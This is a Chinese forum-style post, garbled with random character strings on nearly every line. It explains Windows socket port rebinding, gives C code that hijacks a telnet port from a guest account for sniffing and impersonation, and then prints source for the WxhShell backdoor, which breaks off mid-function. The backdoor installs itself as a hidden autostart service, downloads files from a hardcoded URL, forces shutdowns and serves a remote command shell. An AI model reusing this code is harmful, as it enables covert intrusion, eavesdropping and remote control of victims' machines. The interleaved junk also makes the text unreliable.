在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KbGz3O'u s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
77H"= $i|d=D&t saddr.sin_family = AF_INET;
vX}#wDNP m"f3hd4D_q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
21sXCmYR,t
{v}BtZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
HAmAmEc, KXT9Wt= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
((AIrE>Rr |crm{]7X 这意味着什么?意味着可以进行如下的攻击:
%V|n2/O
Y [=]LR9c4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
U28frRa CLgfNrW~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!rTkH4!_ 9 GtVcucN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o@[oI\Vr! iI Dun Ih 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S+bpWA 8}K4M( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cvVv-L<[S` 0b}.!k9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
PVaqKCj:6W |+Cd2[hN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+?v2MsF'] R1~wzy #include
& ^;3S*p #include
c2wgJH!g #include
lf\x`3Vd #include
bD`h/jYv DWORD WINAPI ClientThread(LPVOID lpParam);
|#ZMZmo{ int main()
[Om,Q< {
b6! 7j WORD wVersionRequested;
nL+y"O DWORD ret;
H;MyT Vl WSADATA wsaData;
k
[iT'] BOOL val;
6 IRa$h>H SOCKADDR_IN saddr;
NA+7ey6 SOCKADDR_IN scaddr;
r3dGXiu int err;
;)q"X>FMZe SOCKET s;
^s\T<; SOCKET sc;
O!P7Wu int caddsize;
JPM~tp?;< HANDLE mt;
;KgDVq5 DWORD tid;
1s.>_ wVersionRequested = MAKEWORD( 2, 2 );
$|t={s34 err = WSAStartup( wVersionRequested, &wsaData );
Nx"|10gC if ( err != 0 ) {
bnZ H printf("error!WSAStartup failed!\n");
kS4YxtvB return -1;
A<+1:@0 }
aKintb}n saddr.sin_family = AF_INET;
B+z>$6 L_q3m-x0h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&WZ&Tt/)/ z9E*1B+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
og&-P=4O saddr.sin_port = htons(23);
-vv_6ZL[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[\rzXE {
xlH3t&i7 printf("error!socket failed!\n");
\1hQ7:f;\ return -1;
@VQ<X4Za }
mpQu:i|W val = TRUE;
e*Y<m\* //SO_REUSEADDR选项就是可以实现端口重绑定的
t N4-<6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
k*D8IB {
,(&Fb~r] printf("error!setsockopt failed!\n");
Zv(6VVj return -1;
2R W~jn" }
w
c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
q]U!n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
SgssNv //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2#ZqGf.'v - ,?LS w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2.vmZaKP {
Tv6y+l ret=GetLastError();
_-rC]iQJ55 printf("error!bind failed!\n");
*Q#oV}D_ return -1;
r&IDTS# }
nw_s: listen(s,2);
n(|rs while(1)
u%lUi2P2E {
5A<}*T caddsize = sizeof(scaddr);
qHT73_R //接受连接请求
;WAa4r> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EM`'=<)V if(sc!=INVALID_SOCKET)
jFip-=T{4 {
'Lw8l `7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hA;Ai:8 if(mt==NULL)
,Xr`tQ<@ {
yFS{8yrRUU printf("Thread Creat Failed!\n");
\hn$-'=4 break;
'oH3| }
R.DUfU"gp }
<sw=:HU CloseHandle(mt);
5SZa,+] }
h-RhmQA=Iz closesocket(s);
BO7XN; WSACleanup();
Gs,e8ri! return 0;
,p /{!BX }
bub6{MQW8e DWORD WINAPI ClientThread(LPVOID lpParam)
y?P`vHf {
Go^TTL SOCKET ss = (SOCKET)lpParam;
C/H;|3.X SOCKET sc;
*A4eYHn@ unsigned char buf[4096];
X;2LK!x;y SOCKADDR_IN saddr;
H?!DcUg CC long num;
QleVW DWORD val;
e /1x/v' DWORD ret;
}/h&`0z` //如果是隐藏端口应用的话,可以在此处加一些判断
l5~O}`gfh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Lis>Qr saddr.sin_family = AF_INET;
F_m'
9KX4E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>\3\&[#" saddr.sin_port = htons(23);
U]w"T{;@.) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mwyB~,[d+W {
aWH printf("error!socket failed!\n");
Lq1?Y
return -1;
pPag@L }
yTh%[k val = 100;
(>f`>6 V if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T:zM]%Xh {
^6R(K'E} ret = GetLastError();
|$e'yx6j return -1;
=6O*AJ }
$evuL3GY# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-u4")V> {
>KvK'Mus/ ret = GetLastError();
t*-cX return -1;
%''L7o.#a }
KX7fgC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5ya^k{`+ZO {
v3FdlE printf("error!socket connect failed!\n");
5%e+@X;j closesocket(sc);
%2\tly!{ % closesocket(ss);
_ZFEo< `' return -1;
r
1jt~0&K }
EG|dN(qh while(1)
S*|/txE'~Y {
1JfZstT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{jmy:e2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
X(X[v] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rQ_@q_B. num = recv(ss,buf,4096,0);
uOJqj{k_." if(num>0)
4oueLT(zc send(sc,buf,num,0);
Qni`k)4 else if(num==0)
Iz#4!E|< break;
&KAe+~aPm num = recv(sc,buf,4096,0);
z F.@rXl if(num>0)
{srxc4R` send(ss,buf,num,0);
QDV+( else if(num==0)
LybaE~=
break;
h]k$K }
^bfZd closesocket(ss);
vr'cR2 closesocket(sc);
O>1Cx4s5 return 0 ;
1^X)vck }
nH k^trGm KNd<8{'. @v2ko5 ==========================================================
Zx_^P:rL S7Ty}?E@ 下边附上一个代码,,WXhSHELL
SeDk/}/~e S#y[_C?H ==========================================================
O.ce= E ?SElJ?Z #include "stdafx.h"
BR@m*JGajz =
a60Xv #include <stdio.h>
z<vh8dNl #include <string.h>
Wu/#}Bw# #include <windows.h>
9yC22C: #include <winsock2.h>
L}Y.xi #include <winsvc.h>
Q]/%Y[%| #include <urlmon.h>
o!":mJy FZj>N( #pragma comment (lib, "Ws2_32.lib")
bC1G5`v_D #pragma comment (lib, "urlmon.lib")
5HV+7zU5 >VkBQM-% #define MAX_USER 100 // 最大客户端连接数
diY7<u# #define BUF_SOCK 200 // sock buffer
9"]#.A^Q* #define KEY_BUFF 255 // 输入 buffer
t'Wv?, > ]^'h #define REBOOT 0 // 重启
R~k`KuY@! #define SHUTDOWN 1 // 关机
%NxQb' ebQgk
Y= #define DEF_PORT 5000 // 监听端口
X$ZVY2 (;},~( 2B #define REG_LEN 16 // 注册表键长度
<4q H0< #define SVC_LEN 80 // NT服务名长度
V>`ANZ4 ^F+7<$2 // 从dll定义API
2]]v|Z2M4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\xCCJWek typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5z!$=SFz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ct w <-' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
lbBWOx/| WqCC4R,- // wxhshell配置信息
bH e'
U> struct WSCFG {
aLGq<6Ja int ws_port; // 监听端口
{4G/HW28 char ws_passstr[REG_LEN]; // 口令
zTw"5N int ws_autoins; // 安装标记, 1=yes 0=no
/q]rA char ws_regname[REG_LEN]; // 注册表键名
!ka* rd char ws_svcname[REG_LEN]; // 服务名
,
,{UGe3 char ws_svcdisp[SVC_LEN]; // 服务显示名
M}V!;o<t^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Mz(Vf1pi% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@i1e0;\ int ws_downexe; // 下载执行标记, 1=yes 0=no
AAevN3a#nI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m0"K^p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
N>!:bF s{Z)<n03 };
l<`> ,yYcjs!=o // default Wxhshell configuration
147QB+cE struct WSCFG wscfg={DEF_PORT,
CJ
:V %| "xuhuanlingzhe",
x;n3 Zr;( 1,
z~
cW, "Wxhshell",
/o;M
?Nt6 "Wxhshell",
69g{oo "WxhShell Service",
x]+PWk "Wrsky Windows CmdShell Service",
#X}HF $t{= "Please Input Your Password: ",
Qd[_W^QI 1,
o$rjGa l "
http://www.wrsky.com/wxhshell.exe",
kJWg},-\ "Wxhshell.exe"
!@ ^6/= };
FlBhCZ|^ .A2$C|a* // 消息定义模块
fK J-/{| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/<J(\;Jr6 char *msg_ws_prompt="\n\r? for help\n\r#>";
6_Fr \H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cMw<3u\ char *msg_ws_ext="\n\rExit.";
HL38iXQ(
3 char *msg_ws_end="\n\rQuit.";
1qRquY char *msg_ws_boot="\n\rReboot...";
r
)F;8( char *msg_ws_poff="\n\rShutdown...";
w&p+mJL. char *msg_ws_down="\n\rSave to ";
fZG Y'o&5 l|P"^;*zq char *msg_ws_err="\n\rErr!";
#S}orWj
char *msg_ws_ok="\n\rOK!";
+[7~:e}DZ c|&3e84U char ExeFile[MAX_PATH];
/eF@a! int nUser = 0;
6Y9N=\` HANDLE handles[MAX_USER];
G;Li!H int OsIsNt;
!+GYu;_
L:$4o SERVICE_STATUS serviceStatus;
;tjOEmIiU SERVICE_STATUS_HANDLE hServiceStatusHandle;
.H" ?&Mf U\KMeaF5e- // 函数声明
"rv~I_zl int Install(void);
Fc~G*Gz~Z| int Uninstall(void);
8 #_pkVQw: int DownloadFile(char *sURL, SOCKET wsh);
9`tK9 int Boot(int flag);
hyI7X7Hy void HideProc(void);
sh<Q2X
int GetOsVer(void);
o?`FjZ6;x int Wxhshell(SOCKET wsl);
W0qR?jc void TalkWithClient(void *cs);
ov6xa*'a int CmdShell(SOCKET sock);
q~ H>rC(\ int StartFromService(void);
"r9Rr_,
> int StartWxhshell(LPSTR lpCmdLine);
yPN '@{ 5# ]I?.1X5d0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^P)f]GQx VOID WINAPI NTServiceHandler( DWORD fdwControl );
n6/Ous st-{xC#N# // 数据结构和表定义
mUYRioNj SERVICE_TABLE_ENTRY DispatchTable[] =
[&)]-2w2 {
YvR bM {wscfg.ws_svcname, NTServiceMain},
nV'1 $L# {NULL, NULL}
a=z] tTs4 };
ci0A!wWD E/;t6&6 // 自我安装
slQn int Install(void)
I2Xd"RHN {
jLAEHEs char svExeFile[MAX_PATH];
>!963>D R HKEY key;
'7iz5wC# strcpy(svExeFile,ExeFile);
CIudtY(: D6"=2XR4n // 如果是win9x系统,修改注册表设为自启动
p.DQ|? if(!OsIsNt) {
,}oAc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Obs#2>h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
djd/QAfSC RegCloseKey(key);
'Y38VOI% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}vndt*F
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?CpVA RegCloseKey(key);
S
'a- E![ return 0;
:eN&wQ5q }
.u-a+ac< }
^Q/*on;A,/ }
wKJG 31I^ else {
'{&Q&3J_ oPe|Gfv\G // 如果是NT以上系统,安装为系统服务
c=m'I>A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
u`bD`kfT> if (schSCManager!=0)
2W AeSUX {
FI.te3i?7 SC_HANDLE schService = CreateService
Y_Yf'z1>[ (
WAu>p3
schSCManager,
dC=[o\ wscfg.ws_svcname,
`fv5U% wscfg.ws_svcdisp,
i|:!I)(lh SERVICE_ALL_ACCESS,
y|`-)fY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
GZ%vFje_
K SERVICE_AUTO_START,
GppCrQ%Ra| SERVICE_ERROR_NORMAL,
vDjH $ U svExeFile,
}b_Ob NULL,
3>O|i2U NULL,
%>Kba M1b NULL,
(W1$+X NULL,
jn(x-fj6R NULL
lF}[ YL );
Z.VKG1e} if (schService!=0)
QiK>]xJ' {
ASqYA1p. CloseServiceHandle(schService);
o'2eSm0H CloseServiceHandle(schSCManager);
rT2Njy1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c^}y9% 4c strcat(svExeFile,wscfg.ws_svcname);
n!)$e;l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ss[[V(- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;;0'BdsL` RegCloseKey(key);
Af3|l return 0;
c'oiW)8;A }
v[dUUR f }
2B_|"J CloseServiceHandle(schSCManager);
<)7aNW. }
nCQtn%j't }
1wFu3fh@ ]]j^ return 1;
M(X
_I`\E }
B;k'J:-" __=53]jGE // 自我卸载
ibkB>n{( int Uninstall(void)
IkCuw./ {
Oeh A3$|# HKEY key;
A`7(i'i5] /VYT]( if(!OsIsNt) {
D$l!lRu8+L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u*C*O4f>OC RegDeleteValue(key,wscfg.ws_regname);
X1#Ar) RegCloseKey(key);
J"aw 1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E)-;sFz RegDeleteValue(key,wscfg.ws_regname);
q?!HzZ RegCloseKey(key);
M}8P _<, return 0;
2!#g\"
}
q T6y& }
#pvq9fss,} }
Z^kE]Ir#EV else {
0qS/>u* D ,kxB~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
p:08q
B|uQ if (schSCManager!=0)
AjK5x@\ {
T]th3* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
p/Pus;*s if (schService!=0)
24J c`%7,= {
Z9vMz3^N if(DeleteService(schService)!=0) {
7_\G|Zd CloseServiceHandle(schService);
u}du@Aq CloseServiceHandle(schSCManager);
[Hh*lKg return 0;
w)7y{ya$ }
#)'Iqaq7 CloseServiceHandle(schService);
505c(+ }
,U""m7 CloseServiceHandle(schSCManager);
coXg]bUKo }
G_+/ e]P }
o;@~uU i^DMnvV. return 1;
wUaWF$~y }
[/a
AH<9b ]'5Xjcx // 从指定url下载文件
_d 6'f8[& int DownloadFile(char *sURL, SOCKET wsh)
toGiG|L {
8UU
L= HRESULT hr;
jSjC43lh char seps[]= "/";
8:0/Cj char *token;
@&?(XY 'M% char *file;
P!79{ 8 char myURL[MAX_PATH];
|R.yuSL)( char myFILE[MAX_PATH];
v~SM"ky# NgTB4I8P strcpy(myURL,sURL);
nP%U<$,+ token=strtok(myURL,seps);
{py%-W while(token!=NULL)
LG8h@HY&L {
Ao\P|K9MyL file=token;
sJL Oz> token=strtok(NULL,seps);
J8)l ,J" }
;`oK5 'I>USl3 hI GetCurrentDirectory(MAX_PATH,myFILE);
*v%y;^{k[/ strcat(myFILE, "\\");
Mp/l*"( strcat(myFILE, file);
ht>%O7 send(wsh,myFILE,strlen(myFILE),0);
rfk{$g send(wsh,"...",3,0);
vv.E6D^x( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
hJ(vDv% if(hr==S_OK)
pVc+}Wzh return 0;
Xf4~e(O else
jfG of* return 1;
v,iZnANZ&P Lf((
zk:pt }
{dZ]+2Z~+ JlYZ\ // 系统电源模块
P!]uJ8bi int Boot(int flag)
Ah1
9#0 {
8xENzTR HANDLE hToken;
>Lo\?X~ TOKEN_PRIVILEGES tkp;
1(@$bsgu2 G%sq;XT61 if(OsIsNt) {
d3:GmB . OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
JaUzu3*= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X7!q/1$J tkp.PrivilegeCount = 1;
TR3U<: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.=;IdLO,Bf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
4|K\pCw if(flag==REBOOT) {
;j%I1k%A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]mMJ6n return 0;
HaVhdv3L }
4-.W~C'Q else {
s$Vv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K.xABKPVc
return 0;
y.A3hV%6b }
8;?4rrS }
bg Ux&3 else {
U5kKT.M if(flag==REBOOT) {
J'Pyn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
k7iko{5D return 0;
Ms|c"?se }
SO6)FiPy!n else {
AY5iTbL1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'TS_Am?o return 0;
_e@8E6#ce }
GCJ[x n(_ }
EQ273sdK M/6Z,oOU return 1;
U1r]e%df) }
-g~+9/;n f7a4E+} // win9x进程隐藏模块
y;ElSt;S void HideProc(void)
J> {
i3,.E]/wX@ tq59w HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?:wb#k)Z/ if ( hKernel != NULL )
I5M\PK/ {
{[2o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#Kb /tOp1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
m'NAM%$}J FreeLibrary(hKernel);
Oin9lg-jR }
LH4A!a] 2'@m'4-N return;
OL
0YjU@ }
.j:,WF<"l5 ~`AB-0t.u // 获取操作系统版本
T2Yf7Szp int GetOsVer(void)
<(KCiM=E$ {
-US:a8` OSVERSIONINFO winfo;
ZK]qQrIwy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
S=k!8]/d| GetVersionEx(&winfo);
itzUq,T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4<-Kd~uL return 1;
Hi09?AX else
yq-~5ui return 0;
;}+M2Ec51 }
:C_/K(Rkl `a&L // 客户端句柄模块
WRD
z*Zf int Wxhshell(SOCKET wsl)
FFqK tj's {
T!H(Y4A SOCKET wsh;
>B{qPrmI struct sockaddr_in client;
*/e$S[5 DWORD myID;
BsFO]F5mmX iW6O9~ while(nUser<MAX_USER)
dT0W8oL {
]00 so` int nSize=sizeof(client);
` &A`&-nc= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7
{92_xRL if(wsh==INVALID_SOCKET) return 1;
:Vxt2@p{ "zq'nV= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
iAH,f5T if(handles[nUser]==0)
7"Xy8]i{z closesocket(wsh);
wG)e8,# else
MQP9^+f)O? nUser++;
{O>Td9
}
}K) AjZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
TIJH}Ri QT+kCN return 0;
1vo3aF }
Hpix:To \Hp!NbnF$ // 关闭 socket
G|jHic! void CloseIt(SOCKET wsh)
_-vlN {
zCJ"O9G<V closesocket(wsh);
QqF<HCO nUser--;
Yuv=<V ExitThread(0);
qVh?%c1.Y }
#MYoy7= rCa]T@= // 客户端请求句柄
gN}$$vS void TalkWithClient(void *cs)
O h
e^{: {
6|p8_[e` \Yj_U'2"i SOCKET wsh=(SOCKET)cs;
HBp??.r char pwd[SVC_LEN];
Ia%cc
L= char cmd[KEY_BUFF];
y"H5> char chr[1];
2(!W
9#] int i,j;
f=91
Z_M %S^ke`MhF while (nUser < MAX_USER) {
_8$xsj4_ tfHr'Qy BC if(wscfg.ws_passstr) {
IsT}T}p,t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@8 c@H#H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Pm P&Qje7 //ZeroMemory(pwd,KEY_BUFF);
NdJ]\>5oN, i=0;
AM?ZhM while(i<SVC_LEN) {
kDJYEI9j> $~q{MX&J // 设置超时
B[mZQ&Gz`a fd_set FdRead;
}{:Jj/d
p struct timeval TimeOut;
q>%.zc[x FD_ZERO(&FdRead);
B0RVtbK FD_SET(wsh,&FdRead);
L"0dB. TimeOut.tv_sec=8;
I.t)sf, TimeOut.tv_usec=0;
_H U>T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
a:P+HU: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
NfQQJ@* wy|b Hkr_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,I|^d.[2 pwd
=chr[0]; @ebY_*
if(chr[0]==0xd || chr[0]==0xa) { QX?moW6UW
pwd=0; VSO(DCr"L
break; &9gI?b8
}
*pO`sC>
i++; ;|\j][A
} V9KRA 1
??Urm[Y.Z
// 如果是非法用户,关闭 socket nCV7(ldmH
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;<o?JM
} w}/+3z
tw 3zw`o:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LCXWpUj~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?W dY{;&
',+Zqog92
while(1) { eF0FQlMe[
D
@wIbU
ZeroMemory(cmd,KEY_BUFF); Bvj
Lf.Ia*R:
// 自动支持客户端 telnet标准 8YPX8d8u
j=0; .LM|@OeaD!
while(j<KEY_BUFF) { g^:`h
VV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); butBS
cmd[j]=chr[0]; 1uyd+*/(xP
if(chr[0]==0xa || chr[0]==0xd) { !mVq+_7]
cmd[j]=0; W3('1
break; a&kt!%p:
} [@pumH>
j++; Jz0AYiCq
} KAVkYL0
mWP&N#vwh
// 下载文件 {a2Gb
if(strstr(cmd,"http://")) { r|z B?9Q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^IvQdVB
if(DownloadFile(cmd,wsh)) c<Ud[x.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gLFSZ
else {QN 5QGvK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C%%gCPI^y
} U.Z5;E0:
else { ;i [;%
z t
switch(cmd[0]) { SgN?[r)
FUL'=Xo
// 帮助 Rb^G~82d?
case '?': { x*X{*?5@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fG8^ |:
break; 8F$]@0v`%
} 4B[uF/[
// 安装 xMpgXB!'
case 'i': { GUJ?6;
if(Install()) m}beT~FT_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8wkt9:
else ?oV|.LM:W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fU.z_T[@
break; }:s.m8LC5n
} y\:Ma7V
// 卸载 eT2Tg5Etc
case 'r': { zG%'Cw)8
if(Uninstall()) x lsAct:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qJ~fEX
else s=K?-O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j]mnH`#BL
break; HqyAo]{GN
} wT,=C'
// 显示 wxhshell 所在路径 }P\6}cK
case 'p': { {=,I>w]T|W
char svExeFile[MAX_PATH]; g^jTdrW/s
strcpy(svExeFile,"\n\r"); IF6-VFY:6
strcat(svExeFile,ExeFile); sQ[N3
send(wsh,svExeFile,strlen(svExeFile),0); 4l>d^L
break; \zDs3Hp
} R$QhuxT|
// 重启 e;|$nw-
case 'b': { *.T?#H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ef@Et(f_mQ
if(Boot(REBOOT)) 8WKY 4nkj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0x^lHBYc
else { wL>;_KdU`
closesocket(wsh); ;Z`R!
ExitThread(0); tCwB7c-
} Qte%<POx+
break; Qf'g2
\
} `UqX`MFz
// 关机 Zdfh*MHMg
case 'd': { @a
7U0$,O#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .t&G^i'n
if(Boot(SHUTDOWN)) pEW~zl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ovi^bNQ
else { RU>qj
*e
closesocket(wsh); Fw}|c
ExitThread(0); @tJic|)x
} ',rK\&lL6
break; iHvWJ<"jR
} {9^p3Q+:P
// 获取shell NBLjBa%eL
case 's': { ki1j~q
CmdShell(wsh); *D9H3M[o#
closesocket(wsh); 7lKatk+7K
ExitThread(0); }WBHuVcZG
break; Bx5kqHp^1
} dT (i*E\j
// 退出 6}|h
case 'x': { Vobq|Rd/%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _c5*9')-)
CloseIt(wsh); Y4_xV&
break; [8 H:5Ho
} 6GqC]rd*:
// 离开 TNK1E
case 'q': { w~Vqg:'\$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eg1F[~YL/
closesocket(wsh); t`>Z#=cl\
WSACleanup(); @~UQU)-(
exit(1); I`i"*z
break; }Gy M<!:
} n+i=Ff
} MX.?tN#F|H
} }d;6.~Gw
hhFO,
// 提示信息 {Qn{w%!|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Nv-wU
} xtLP4VL
} =2ED
w_5E
0r8Wv,7Bo
return; $em'H,*b3
} WIpV'F|t]`
,CuWQ'H
// shell模块句柄 .aVt d
[
int CmdShell(SOCKET sock) ItZYOt|Hn
{ x}V&v?1{5
STARTUPINFO si; $$"G1<EZ
ZeroMemory(&si,sizeof(si)); k}NM]9EAE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bS954d/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V*@Y9G
PROCESS_INFORMATION ProcessInfo; GNq
f
char cmdline[]="cmd"; <V Rb
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cC NRv$IO\
return 0; $bFK2yx?=
} kxJ[Bi#
g.vE%zKL
// 自身启动模式 oD1k7Gq1
int StartFromService(void) VuH ->
{ J%M [8
typedef struct Q~VM.G
{ wJCw6&D,/
DWORD ExitStatus; w`V6vYd@
